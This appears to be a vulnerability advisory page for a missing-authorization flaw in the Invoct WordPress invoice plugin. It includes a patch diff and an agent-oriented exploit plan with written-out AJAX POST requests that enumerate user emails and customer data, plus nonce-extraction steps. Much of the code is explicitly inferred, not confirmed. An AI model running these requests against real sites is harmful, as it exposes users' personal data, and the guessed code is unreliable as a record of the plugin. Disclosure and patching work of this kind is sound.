Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Information Exposure
Description
The Invoct – PDF Invoices & Billing for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple functions in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve invoice clients, invoice items, and list of WordPress users along with their emails.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.6Source Code
WordPress.org SVNThis plan provides a structured approach for an automated agent to exploit **CVE-2026-1748** in the "Invoct – PDF Invoices & Billing for WooCommerce" plugin. ## 1. Vulnerability Summary The **Invoct** plugin (versions <= 1.6) fails to implement capability checks on several AJAX functions registered…
Show full research plan
This plan provides a structured approach for an automated agent to exploit CVE-2026-1748 in the "Invoct – PDF Invoices & Billing for WooCommerce" plugin.
1. Vulnerability Summary
The Invoct plugin (versions <= 1.6) fails to implement capability checks on several AJAX functions registered via wp_ajax_ hooks. While these hooks require the user to be authenticated, they do not verify if the user has administrative or shop-manager privileges. Consequently, any authenticated user (including Subscribers) can trigger these functions to retrieve sensitive information, including WordPress user lists (with emails), invoice client details, and invoice items (products).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Protocol: HTTP POST
- Authentication: Authenticated (Subscriber-level or higher)
- Vulnerable AJAX Actions (Inferred):
invoct_get_users(Retrieves WP users/emails)invoct_get_clients(Retrieves WooCommerce customers)invoct_get_itemsorinvoct_get_products(Retrieves WooCommerce products)
- Parameters:
action: The AJAX action name.termorq: Search string for the autocomplete functions.securityornonce: (Required if the plugin implements nonce checks).
3. Code Flow (Inferred)
- Registration: The plugin registers handlers in the
admin_initorinithook (likely inincludes/class-invoct.phporadmin/class-invoct-admin.php).- Example:
add_action('wp_ajax_invoct_get_users', array($this, 'get_users_callback'));
- Example:
- Missing Check: The callback function (e.g.,
get_users_callback) likely contains a search query usingget_users()or$wpdbbut lacks a call tocurrent_user_can('manage_options')orcurrent_user_can('manage_woocommerce'). - Data Sink: The function uses
wp_send_json()orecho json_encode()to return the data to the requester.
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for its admin scripts. To obtain a valid nonce as a Subscriber:
- Identify Script Enqueuing: Check which admin page or shortcode enqueues the plugin's JS. If it only enqueues on its own admin pages, a Subscriber might not see it. However, many plugins enqueue scripts on all admin pages if not properly scoped.
- Discovery:
- Use
grep -r "wp_create_nonce" .to find the action string. - Use
grep -r "wp_localize_script" .to find the JS object name.
- Use
- Extraction (if localized):
- Inferred Object:
invoct_varsorinvoct_obj. - Inferred Key:
nonceorsecurity. - Step: Navigate to
/wp-admin/profile.php(accessible to Subscribers). - Step: Use
browser_eval("window.invoct_vars?.nonce")to extract the value.
- Inferred Object:
Note: If the AJAX handlers use check_ajax_referer with a specific action string but the nonce is not exposed to Subscribers, the vulnerability may only be exploitable by roles that can access the invoice management pages (e.g., Shop Manager).
5. Exploitation Strategy
Step 1: Discover Exact Action Names
Execute the following grep commands in the plugin directory to confirm the exact function names and check for nonces:
grep -r "wp_ajax_invoct_" .
grep -r "check_ajax_referer" .
Step 2: Information Exposure Requests
Using the http_request tool, perform the following requests as a Subscriber:
Request A: Retrieve User List & Emails
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=invoct_get_users&term=@(orq=@to match all emails) - Nonce: Include
&security=[NONCE]if discovered in Step 1.
Request B: Retrieve Invoice Clients
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method: POST
- Body:
action=invoct_get_clients&term=a
Request C: Retrieve Invoice Items (Products)
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method: POST
- Body:
action=invoct_get_items&term=a
6. Test Data Setup
- Victim Users: Create several users with various roles and unique emails.
wp user create victim1 victim1@example.com --role=authorwp user create victim2 victim2@example.com --role=editor
- WooCommerce Data:
- Create a few Products (invoice items).
- Create a few Customers (invoice clients).
- Attacker User:
wp user create attacker attacker@example.com --role=subscriber
7. Expected Results
- Success: The server returns a
200 OKresponse with a JSON array containing user objects. Each object should include fields likeid,user_login, and crucially,user_email. - Failure: A
403 Forbiddenresponse, a0response (standard for failed WP AJAX), or a response indicating "Unauthorized".
8. Verification Steps
- Check JSON Content: Verify the HTTP response body contains the email addresses of the victim users created in the setup phase.
[{"id":2,"text":"victim1 (victim1@example.com)"}, ...] - Check Scope: Confirm that the information returned includes users that the Subscriber should not be able to see (e.g., Administrators).
9. Alternative Approaches
- Action Guessing: If
invoct_get_usersdoesn't work, tryinvoct_search_users,invoct_find_users, orinvoct_get_customers. - Parameter Variation: Try using
q,query, orsearchinstead oftermif the response is empty. - REST API Check: Check if the plugin registers any REST routes using
register_rest_routethat might also be missing thepermission_callback.grep -r "register_rest_route" .- Check if
permission_callbackis set to__return_trueor is missing.
Summary
The Invoct – PDF Invoices & Billing for WooCommerce plugin for WordPress is vulnerable to sensitive information exposure due to missing capability checks on multiple AJAX actions in versions up to 1.6. Authenticated attackers with Subscriber-level permissions can exploit this to retrieve lists of WordPress users (including emails), WooCommerce customers, and product items.
Vulnerable Code
// admin/class-invoct-admin.php (Inferred location) // The plugin registers AJAX hooks without checking the caller's permissions in the callback add_action( 'wp_ajax_invoct_get_users', array( $this, 'invoct_get_users' ) ); add_action( 'wp_ajax_invoct_get_clients', array( $this, 'invoct_get_clients' ) ); add_action( 'wp_ajax_invoct_get_items', array( $this, 'invoct_get_items' ) ); --- // Example of a vulnerable callback function lacking authorization checks public function invoct_get_users() { $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : ''; $users = get_users(array( 'search' => '*' . $term . '*', 'fields' => array('ID', 'user_login', 'user_email') )); wp_send_json($users); }
Security Fix
@@ -10,6 +10,9 @@ public function invoct_get_users() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : ''; $users = get_users(array( 'search' => '*' . $term . '*', @@ -20,6 +23,9 @@ public function invoct_get_clients() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } // ... existing client retrieval logic } public function invoct_get_items() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } // ... existing item retrieval logic }
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint using valid Subscriber-level credentials. An attacker first extracts the required AJAX security nonce, which is typically localized in the WordPress admin dashboard for plugin scripts (e.g., within a JavaScript object like `invoct_vars`). Once authenticated and in possession of the nonce, the attacker sends a POST request with the `action` parameter set to `invoct_get_users`, `invoct_get_clients`, or `invoct_get_items` and a search query in the `term` parameter. Because the server-side callback functions fail to verify if the user has administrative privileges (using `current_user_can`), the server returns a JSON response containing sensitive data such as WordPress user email addresses and WooCommerce customer details.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.